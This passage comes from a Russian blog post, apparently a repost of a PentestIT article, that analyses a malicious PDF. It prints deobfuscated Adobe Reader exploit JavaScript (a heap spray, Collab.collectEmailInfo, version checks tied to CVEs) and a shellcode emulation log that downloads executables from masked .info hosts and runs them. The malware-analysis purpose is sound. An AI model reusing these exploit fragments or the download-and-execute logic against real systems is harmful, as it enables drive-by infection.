app.d_AUYb_6j8_5r = func_05;  gvar_1 = app.setTimeOut(&quot;app.d_AUYb_6j8_5r()&quot;, 1);  }  func_04(13, &quot;%u0c0c%u0c0c&quot;, arg_0);  if (v0) {  app.clearTimeOut(v0);  }  }  var gvar_3 = 0;  var gvar_4 = app.plugIns;  for (var gvar_5 = 0; gvar_5 &lt; gvar_4.length; gvar_5++) {  var gvar_6 = gvar_4[gvar_5].version;  if (gvar_6 &gt; gvar_3) {  gvar_3 = gvar_6;  }  }  if (app.viewerVersion == 9.103 && gvar_3 &lt; 9.13) {  gvar_3 = 9.13;  }  if (!(gvar_3 &lt; 9 || gvar_3 &gt;= 9.2) || !(gvar_3 &lt; 8 || gvar_3 &gt;= 8.17) || !(gvar_3 &lt; 7 || gvar_3 &gt;= 7.14)) {  func_06(gvar_3); <\/code><\/p>\n<p>  <b>\u041f\u043e\u0441\u043b\u0435 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0444\u0438\u043d\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043a\u0440\u0438\u043f\u0442\u0430 \u043c\u043e\u0436\u043d\u043e \u0441\u0434\u0435\u043b\u0430\u0442\u044c \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u0432\u044b\u0432\u043e\u0434\u043e\u0432:<\/b><br \/>  1. \u041f\u043e\u0434\u0442\u0432\u0435\u0440\u0436\u0434\u0435\u043d\u0438\u0435 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f jsunpack \u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 Collab.collectEmailInfo \u0438 heap spray:<\/p>\n<p>  <code>v0 += unescape(&quot;%u0c0c%u0c0c&quot;); \/\/  0x0c0c0c0c -\u044d\u0442\u043e \u043e\u0447\u0435\u043d\u044c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u044b\u0435 \u0434\u0430\u043d\u043d\u044b\u0435 \u0438\u0437 heap spray \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432. this.collabStore = Collab.collectEmailInfo({  subj: &quot;&quot;,  msg: unescape(&quot;%u0c0c%u0c0c&quot;) }); <\/code><\/p>\n<p>  \u0414\u0435\u0442\u0430\u043b\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u043f\u0438\u0441\u0430\u043d\u044b \u0442\u0443\u0442: cve.mitre.org\/cgi-bin\/cvename.cgi?name=CVE-2007-5659. \u041f\u0430\u0440\u0443 \u043f\u0443\u0431\u043b\u0438\u0447\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u043e\u0432 \u043c\u043e\u0436\u043d\u043e \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0442\u044c \u0437\u0434\u0435\u0441\u044c: downloads.securityfocus.com\/vulnerabilities\/exploits\/27641-collectEmailInfo-PoC.txt, <a href=\"http:\/\/www.exploit-db.com\/exploits\/16674\/\">www.exploit-db.com\/exploits\/16674\/<\/a>. <\/p>\n<p>  \u041a\u0430\u043a \u0432\u0438\u0434\u043d\u043e \u0432\u043e \u0432\u0442\u043e\u0440\u043e\u043c \u0441\u043b\u0443\u0447\u0430\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u044e\u0442\u0441\u044f \u043d\u0430\u0448\u0438 unescape(&quot;%u0c0c%u0c0c&quot;) \u0438 this.collabStore = Collab.collectEmailInfo({subj: &quot;&quot;,msg: #{rand12}});<\/p>\n<p>  2. \u0412 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 func_04 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u0430\u044f var v0 \u0442\u0430\u043a\u0436\u0435 \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c 0x0c0c0c0c, \u0447\u0442\u043e \u043a\u0430\u043a \u0431\u044b \u043d\u0430\u043c\u0435\u043a\u0430\u0435\u0442 \u043d\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u0435 heap spray \u044d\u043a\u0441\u043f\u043b\u043e\u0438\u0442\u0430. \u041f\u043e\u0447\u0435\u043c\u0443 \u044d\u0442\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435 \u0441\u0442\u043e\u043b\u044c \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e \u043c\u043e\u0436\u043d\u043e \u043f\u043e\u0447\u0438\u0442\u0430\u0442\u044c \u0442\u0443\u0442 <a href=\"http:\/\/www.corelan.be\/index.php\/2011\/12\/31\/exploit-writing-tutorial-part-11-heap-spraying-demystified\/\">www.corelan.be\/index.php\/2011\/12\/31\/exploit-writing-tutorial-part-11-heap-spraying-demystified\/<\/a>.<\/p>\n<p>  \u0412 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445 v3, v4 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0435\u0442\u0441\u044f shellcode \u0438\u0437-\u0437\u0430 \u043d\u0430\u043b\u0438\u0447\u0438\u044f \u0441\u0435\u0440\u0438\u0438 NOP \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u0439 \u0432 \u043d\u0430\u0447\u0430\u043b\u0435 \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u044b\u0445.<\/p>\n<p>  \u0427\u0442\u043e\u0431\u044b \u043f\u043e\u0434\u0442\u0432\u0435\u0440\u0434\u0438\u0442\u044c \u043c\u043e\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b \u044d\u043c\u0443\u043b\u044f\u0442\u043e\u0440 libemu \u0438\u0437 \u0431\u0435\u0441\u043f\u043b\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 PDFStreamDumper \u0441\u043e \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0435\u043c, \u0432\u0437\u044f\u0442\u044b\u043c \u0438\u0437 \u043f\u0435\u0440\u0435\u043c\u0435\u043d\u043d\u043e\u0439 v4. \u0422\u0430\u043a\u0436\u0435 libemu \u0432\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u043d\u0430\u0439\u0442\u0438 \u0438 \u0432 Remnux:<\/p>\n<p>  <img decoding=\"async\" src=\"http:\/\/habrastorage.org\/storage3\/fdb\/1dc\/29a\/fdb1dc29a48ad2c7af7143fcd39373ad.png\"\/><\/p>\n<p>  \u0411\u0438\u043d\u0433\u043e. \u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u043b\u0441\u044f url <a href=\"http:\/\/xxxxxx.info\/cgi-bin\/io\/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010\">xxxxxx.info\/cgi-bin\/io\/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010<\/a> \u043a\u043e\u0442\u043e\u0440\u044b\u0439 \u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0441\u044f \u0434\u043b\u044f \u0437\u0430\u0433\u0440\u0443\u0437\u043a\u0438 \u0441 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0435\u043c \u0438\u0441\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043d\u0430\u0448\u0435\u0433\u043e \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u0430:<\/p>\n<p>  <code>Extracted URL: http:\/\/xxxxxxxx.info\/cgi-bin\/io\/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f01010 0x91 push_urlmon (signature) Unpack Log: -------------------------------------------------- Loaded 4b8 bytes from file .\\tmp.sc Detected %u encoding input format converting... Byte Swapping %u encoded input buffer.. Memory monitor enabled.. Initilization Complete.. Dump mode Active... Max Steps: 2000000 Using base offset: 0x401000 401055 LoadLibraryA(urlmon) 401084 GetTempPathA(len=104, buf=12fce0) = 22 4010bc URLDownloadToFileA(http:\/\/xxxx.info\/cgi-bin\/io\/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010100, C:\\Users\\Admin\\AppData\\Local\\Temp\\lthm.exe) 4010c7 WinExec(C:\\Users\\Admin\\AppData\\Local\\Temp\\lthm.exe) 4010bc URLDownloadToFileA(http:\/\/xxxxc.info\/cgi-bin\/io\/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010101, C:\\Users\\Admin\\AppData\\Local\\Temp\\egWl.exe) 4010c7 WinExec(C:\\Users\\Admin\\AppData\\Local\\Temp\\egWl.exe) 4010bc URLDownloadToFileA(http:\/\/xxxxx.info\/cgi-bin\/io\/n002101801r0019Rf54cb7b8Xc0b46fb2Y8b008c85Z02f010102, C:\\Users\\Admin\\AppData\\Local\\Temp\\CqTM.exe) 4010c7 WinExec(C:\\Users\\Admin\\AppData\\Local\\Temp\\CqTM.exe) 4010d5 ExitProcess(1432107587)  Stepcount 300624 Primary memory: Reading 0x192 bytes from 0x401000 Scanning for changes... Change found at 287 dumping to .\\tmp.unpack Data dumped successfully to disk  Memory Monitor Log: *PEB (fs30) accessed at 0x40101f peb.InInitializationOrderModuleList accessed at 0x40102a<\/code><\/p>\n<p>  3. \u0422\u0430\u043a\u0436\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u044b \u0441\u0440\u0430\u0432\u043d\u0435\u043d\u0438\u044f, \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u043d\u043e\u0435 \u0432 \u0441\u043a\u0440\u0438\u043f\u0442\u0435:<br \/>  <code>if (!(gvar_3 &lt; 9 || gvar_3 &gt;= 9.2) || !(gvar_3 &lt; 8 || gvar_3 &gt;= 8.17) || !(gvar_3 &lt; 7 || gvar_3 &gt;= 7.14)) {  func_06(gvar_3); <\/code><br \/>  \u0432\u044b\u0433\u043b\u044f\u0434\u044f\u0442 \u0442\u0430\u043a\u0436\u0435 \u043a\u0430\u043a \u043e\u043f\u0438\u0441\u0430\u043d\u043e \u0432 CVE-2009-2990: \u041e\u0448\u0438\u0431\u043a\u0430 \u0438\u043d\u0434\u0435\u043a\u0441\u0430 \u0432 \u043c\u0430\u0441\u0441\u0438\u0432\u0435 Adobe Reader \u0438 Acrobat 9.x \u0434\u043e \u0432\u0435\u0440\u0441\u0438\u0438 9.2, 8.x \u0438 8.1.7, \u0430 \u0442\u0430\u043a\u0436\u0435 \u0441 \u0432\u0435\u0440\u0441\u0438\u0438 7.x \u0434\u043e 7.1.4 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434. <br \/>  \u0412 \u043a\u043e\u0434\u0438\u0440\u0443\u0435\u043c\u043e\u043c FlateDecode \u043f\u043e\u0442\u043e\u043a\u0435 \u043e\u0431\u044a\u0435\u043a\u0442\u0430 11 \u043c\u044b \u0442\u0430\u043a\u0436\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u0435\u043c \u043a\u043e\u0434 \u0432 U3D:<br \/>  <code>\/Subtype \/U3D \/Length 27384 \/Filter \/FlateDecode &gt;&gt;   'U3D\\x00\\x18\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00$\\x00\\x00\\x00\\x80\\xb6\\x02\\x00\\x00\\x00\\x00\\x00j\\x00\\x00\\x00\\x15\\xff\\xff\\xff\\x04\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x14\\xff\\xff\\xff\\x88\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00VcgMesh01\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x01\\x00\\x00\\x00&quot;\\xff\\xff\\xffb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\t\\x00VcgMesh01<\/code><\/p>\n<p>  \u0422\u0435\u043f\u0435\u0440\u044c \u043c\u044b \u0438\u043c\u0435\u0435\u043c URL, Shellcode, \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e CVE \u0438 \u044d\u0442\u043e\u0433\u043e \u0432\u043f\u043e\u043b\u043d\u0435 \u0434\u043e\u0441\u0442\u0430\u0442\u043e\u0447\u043d\u043e \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0438. <\/p>\n<p>  \u0410\u0432\u0442\u043e\u0440 \u0441\u0442\u0430\u0442\u044c\u0438: <a href=\"http:\/\/ru.linkedin.com\/pub\/andrey-efimyuk-oscp-cppt\/39\/506\/7b8\">\u0410\u043d\u0434\u0440\u0435\u0439 \u0415\u0444\u0438\u043c\u044e\u043a<\/a>, \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u0432 \u043e\u0431\u043b\u0430\u0441\u0442\u0438 \u0418\u0411, OSCP, eCPPT, \u0445\u043e\u0440\u043e\u0448\u0438\u0439 \u0434\u0440\u0443\u0433 <a href=\"http:\/\/www.pentestit.ru\/promo\">PentestIT<\/a>.    \t<\/p>\n<div class=\"clear\"><\/div>\n<\/p><\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"http:\/\/habrahabr.ru\/company\/pentestit\/blog\/209110\/\"> http:\/\/habrahabr.ru\/company\/pentestit\/blog\/209110\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<div class=\"content html_format\">   \t\u041d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043c\u0435\u0441\u044f\u0446\u0435\u0432 \u043d\u0430\u0437\u0430\u0434 \u044f \u0441\u0442\u043e\u043b\u043a\u043d\u0443\u043b\u0441\u044f \u0441 \u0438\u043d\u0442\u0435\u0440\u0435\u0441\u043d\u043e\u0439 \u0437\u0430\u0434\u0430\u0447\u0435\u0439 \u043f\u043e \u0430\u043d\u0430\u043b\u0438\u0437\u0443 \u043f\u043e\u0434\u043e\u0437\u0440\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e pdf \u0444\u0430\u0439\u043b\u0430. \u041a \u0441\u043b\u043e\u0432\u0443 \u0441\u043a\u0430\u0437\u0430\u0442\u044c, \u043e\u0431\u044b\u0447\u043d\u043e \u044f \u0437\u0430\u043d\u0438\u043c\u0430\u044e\u0441\u044c \u0430\u043d\u0430\u043b\u0438\u0437\u043e\u043c \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 \u0438 \u043d\u0435 \u0442\u043e\u043b\u044c\u043a\u043e \u0432\u0435\u0431, \u0438 \u043d\u0435 \u044f\u0432\u043b\u044f\u044e\u0441\u044c \u0431\u043e\u043b\u044c\u0448\u0438\u043c \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u043e\u043c \u0432 \u043d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0438 malware analysis, \u043d\u043e \u0441\u043b\u0443\u0447\u0430\u0439 \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0441\u044f \u0434\u043e\u0432\u043e\u043b\u044c\u043d\u043e \u043b\u044e\u0431\u043e\u043f\u044b\u0442\u043d\u044b\u0439.<\/p>\n<p>  \u041f\u0440\u0430\u043a\u0442\u0438\u0447\u0435\u0441\u043a\u0438 \u0432\u0441\u0435 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u044b \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0435 \u0432 \u0434\u0430\u043d\u043d\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u0441\u043e\u0434\u0435\u0440\u0436\u0430\u0442\u044c\u0441\u044f \u0432 \u0434\u0438\u0441\u0442\u0440\u0438\u0431\u0443\u0442\u0438\u0432\u0435 Remnux, \u0441\u043e\u0437\u0434\u0430\u043d\u043d\u043e\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0432 \u0446\u0435\u043b\u044f\u0445 reverse engineering malware. \u0412\u044b \u043c\u043e\u0436\u0435\u0442\u0435 \u0441\u0430\u043c\u0438 \u0437\u0430\u0433\u0440\u0443\u0437\u0438\u0442\u044c \u0441\u0435\u0431\u0435 \u043e\u0431\u0440\u0430\u0437 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u043c\u0430\u0448\u0438\u043d\u044b \u0434\u043b\u044f VirtualBox \u0438\u043b\u0438 Vmware.  <\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-209110","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/209110","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=209110"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/209110\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=209110"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=209110"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=209110"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}